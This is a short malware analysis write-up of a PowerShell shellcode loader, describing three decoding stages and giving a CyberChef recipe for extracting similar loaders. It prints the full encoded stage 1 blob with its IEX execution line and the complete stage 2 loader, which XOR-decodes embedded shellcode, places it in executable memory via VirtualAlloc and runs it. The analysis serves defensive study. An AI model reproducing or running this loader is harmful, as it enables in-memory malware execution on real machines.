Overview

We have this PowerShell script that will eventually deploy some shellcode. Our job is to analyze this, and learn a little along the way.

Sample

Analysis

PowerShell Analysis

We used cyberchef to do our analysis, the saved recipe can be used to extract similar loaders, just remember to change the XOR key. Paste the URL below into your browser to access the pre-built cyberchef recipe.

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')Regular_expression('User%20defined','(%5Ba-zA-Z0-9%2B/%5D(%3D)%7B0,2%7D)%7B40,%7D',true,true,false,false,false,false,'List%20matches')From_Base64('A-Za-z0-9%2B/%3D',true,false)Gunzip()Regular_expression('User%20defined','(%5Ba-zA-Z0-9%2B/%5D(%3D)%7B0,2%7D)%7B40,%7D',true,true,false,false,false,false,'List%20matches')From_Base64('A-Za-z0-9%2B/%3D',true,false)XOR(%7B'option':'Decimal','string':'35'%7D,'Standard',false)

Stage 1

The sample comes as a base64 encoded blob containing wide string PowerShell code.

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));

IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Stage 2

Once the first stage has been decoded we have some more base64 encoded PowerShell that is also gzip compressed.

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+EuNJY0sjMyMjS9zcJCNJI0t7h3DG3PZzyosjIyN5EupycksjkycjSyOTJyNJIkklSSBxS2ZT/Pfc9nOoNwdJI3FLC0xewdz2puNXTUkjSSNJI6rFoOUnqsGg4SuoXwcvSSN1SSdxdEuOvXyY3PaodwczSSN1SyMDIyNxdEuOvXyY3Pam41c3qG8HJ6gnByLrqicHqHcHMyLhyPSoXwcvdEvj2f7f3PZ0S+W1pHHc9qgnB6hvBysa4lckS9OWgXXc9txHBzPLcNzc3H9/DX9TSlNGf05MSUwNFhUbGw0bExYRDRAWFBsTERQQEBEaEBQTFxQQEBMjL2yHcQ==')

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}

Stage 3

The final PowerShell stage is used to base64 decode and XOR decrypt shellcode that is loaded as the final stage.

The shellcode containst functionality to download and run a second stage (shellcode) using a hard coded named pipe \.\pipe\mojo.5688.8052.3578027332937047330. To resolved APIs the shellcode uses the old Metasploit ROT-13 hash resolving algorithm.

One interesting trick observed in the shellcode is the use of that return address on the stack to pass arguments to non-returning functions.